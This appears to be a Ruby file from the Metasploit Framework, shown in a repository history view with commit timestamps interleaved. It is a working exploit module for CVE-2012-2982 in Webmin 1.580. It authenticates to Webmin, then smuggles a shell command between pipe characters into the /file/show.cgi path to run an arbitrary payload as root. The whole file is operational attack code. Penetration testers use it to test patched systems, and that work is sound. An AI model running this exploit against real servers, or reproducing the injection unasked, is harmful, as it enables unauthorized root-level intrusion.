metasploit-framework/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb

153 lines
4.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin /file/show.cgi Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.580. The vulnerability exists in the /file/show.cgi component and allows an
authenticated user, with access to the File Manager Module, to execute arbitrary
2017-09-08 01:18:50 +00:00
commands with root privileges. The module has been tested successfully with Webmin
2013-08-30 21:28:54 +00:00
1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown', # From American Information Security Group
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '85248'],
2013-08-30 21:28:54 +00:00
['BID', '55446'],
['CVE', '2012-2982'],
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
2013-08-30 21:28:54 +00:00
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
2017-05-25 17:14:59 +00:00
'Targets' => [[ 'Webmin 1.580', { }]],
2013-08-30 21:28:54 +00:00
'DisclosureDate' => 'Sep 06 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
])
2013-08-30 21:28:54 +00:00
end
def check
peer = "#{rhost}:#{rport}"
vprint_status("Attempting to login...")
2013-08-30 21:28:54 +00:00
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
2014-05-23 22:34:46 +00:00
if res and res.code == 302 and res.get_cookies =~ /sid/
vprint_good "Authentication successful"
2014-05-23 22:34:46 +00:00
session = res.get_cookies.split("sid=")[1].split(";")[0]
2013-08-30 21:28:54 +00:00
else
vprint_error "Service found, but authentication failed"
return Exploit::CheckCode::Detected
2013-08-30 21:28:54 +00:00
end
vprint_status("Attempting to execute...")
2013-08-30 21:28:54 +00:00
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
2013-08-30 21:28:54 +00:00
else
return Exploit::CheckCode::Safe
end
end
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
2013-08-30 21:28:54 +00:00
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
2014-05-23 22:34:46 +00:00
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
2013-08-30 21:28:54 +00:00
if session and not session.empty?
print_good "Authentication successfully"
2013-08-30 21:28:54 +00:00
else
print_error "Authentication failed"
2013-08-30 21:28:54 +00:00
return
end
print_good "Authentication successfully"
2013-08-30 21:28:54 +00:00
else
print_error "Authentication failed"
2013-08-30 21:28:54 +00:00
return
end
print_status("Attempting to execute the payload...")
2013-08-30 21:28:54 +00:00
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
2013-08-30 21:28:54 +00:00
else
print_error "Error executing the payload"
2013-08-30 21:28:54 +00:00
return
end
2013-08-30 21:28:54 +00:00
end
end